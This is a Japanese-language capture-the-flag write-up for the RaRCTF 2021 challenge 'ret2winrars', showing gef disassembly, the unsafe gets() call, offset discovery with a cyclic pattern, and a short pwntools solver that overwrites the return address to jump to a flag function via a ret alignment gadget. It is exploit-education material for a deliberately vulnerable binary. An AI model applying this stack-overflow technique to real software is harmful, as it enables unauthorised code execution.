###### tags: `RaRCTF 2021` `Stack Overflow` # ret2winrars - RARCTF 2021 ![](https://img.shields.io/badge/Type-Stack%20Overflow-red) ### writeup 問題名からreturn addressを書き換えると予想できる。 Let's debug!!! <details><summary>disass main</summary><div> ```= gef➤ disass main Dump of assembler code for function main: 0x0000000000401191 <+0>: push rbp 0x0000000000401192 <+1>: mov rbp,rsp => 0x0000000000401195 <+4>: mov rax,QWORD PTR [rip+0x2eb4] # 0x404050 <stdout@@GLIBC_2.2.5> 0x000000000040119c <+11>: mov ecx,0x0 0x00000000004011a1 <+16>: mov edx,0x2 0x00000000004011a6 <+21>: mov esi,0x0 0x00000000004011ab <+26>: mov rdi,rax 0x00000000004011ae <+29>: call 0x401070 <setvbuf@plt> 0x00000000004011b3 <+34>: lea rdi,[rip+0xe66] # 0x402020 0x00000000004011ba <+41>: call 0x401030 <puts@plt> 0x00000000004011bf <+46>: lea rdi,[rip+0xe7a] # 0x402040 0x00000000004011c6 <+53>: mov eax,0x0 0x00000000004011cb <+58>: call 0x401050 <printf@plt> 0x00000000004011d0 <+63>: mov eax,0x0 0x00000000004011d5 <+68>: call 0x401175 <get_license> 0x00000000004011da <+73>: lea rdi,[rip+0xe94] # 0x402075 0x00000000004011e1 <+80>: call 0x401030 <puts@plt> 0x00000000004011e6 <+85>: mov eax,0x0 0x00000000004011eb <+90>: pop rbp 0x00000000004011ec <+91>: ret End of assembler dump. ``` </div></details> 17行目で、`get_license`関数を呼び出しているので、その関数も見てみる。 <details><summary>disass get_license</summary><div> ```= gef➤ disass get_license Dump of assembler code for function get_license: 0x0000000000401175 <+0>: push rbp 0x0000000000401176 <+1>: mov rbp,rsp 0x0000000000401179 <+4>: sub rsp,0x20 0x000000000040117d <+8>: lea rax,[rbp-0x20] 0x0000000000401181 <+12>: mov rdi,rax 0x0000000000401184 <+15>: mov eax,0x0 0x0000000000401189 <+20>: call 0x401060 <gets@plt> 0x000000000040118e <+25>: nop 0x000000000040118f <+26>: leave 0x0000000000401190 <+27>: ret End of assembler dump. ``` </div></details> 9行目で`gets`関数を呼び出していて、ここに脆弱性がある。 (以下にreturn addressまでのoffsetの求め方) <details><summary>offsetの求め方</summary><div> ``` gef➤ pattern create 0x30 [+] Generating a pattern of 48 bytes (n=4) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa [+] Saved as '$_gef0' gef➤ c Continuing. Hello, welcome to the WinRaRs! Please enter your WinRaR license key to get access: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa ~~~省略~~~ gef➤ x/xg $rsp 0x7fffffffe5a8: 0x6161616c6161616b gef➤ pattern search 0x6161616c6161616b [+] Searching for '0x6161616c6161616b' [+] Found at offset 40 (little-endian search) likely ``` </div></details> `get_license`の6行目:`rax,[rbp-0x20]`と、この問題バイナリは64bitなので、`0x20+8`の==40==がoffsetとして正しいと考えられる。 あとは、flagを出力する関数に飛ばすだけ。 (flagを出力する関数を確認する。) <details><summary>info functions</summary><div> ``` gef➤ info functions All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x0000000000401030 puts@plt 0x0000000000401040 system@plt 0x0000000000401050 printf@plt 0x0000000000401060 gets@plt 0x0000000000401070 setvbuf@plt 0x0000000000401080 _start 0x00000000004010b0 _dl_relocate_static_pie 0x00000000004010c0 deregister_tm_clones 0x00000000004010f0 register_tm_clones 0x0000000000401130 __do_global_dtors_aux 0x0000000000401160 frame_dummy 0x0000000000401162 flag 0x0000000000401175 get_license 0x0000000000401191 main 0x00000000004011f0 __libc_csu_init 0x0000000000401250 __libc_csu_fini 0x0000000000401254 _fini ``` </div></details> ただ、alignmentの問題が生じている。 そのため、(奇数個の)`ret`を挟むことで、0x10の倍数に揃えてくれる。(だからsolverでは`ret`を挟んでいる。) ### solver ```python= from pwn import * io = process("./ret2winrars") payload = b"" payload += b"A"*0x20 + b"B"*8 payload += p64(0x401190) # ret payload += p64(0x401162) io.sendlineafter("access: " ,payload) io.interactive() ``` ### 参考文献 [1] [what is “stack alignment”? - StackOverflow](https://stackoverflow.com/questions/672461/what-is-stack-alignment) [2] [スタックのアラインメント - GitHub Gist](https://gist.github.com/msymt/4d708d079a66aa45a3e26a1f7587c172)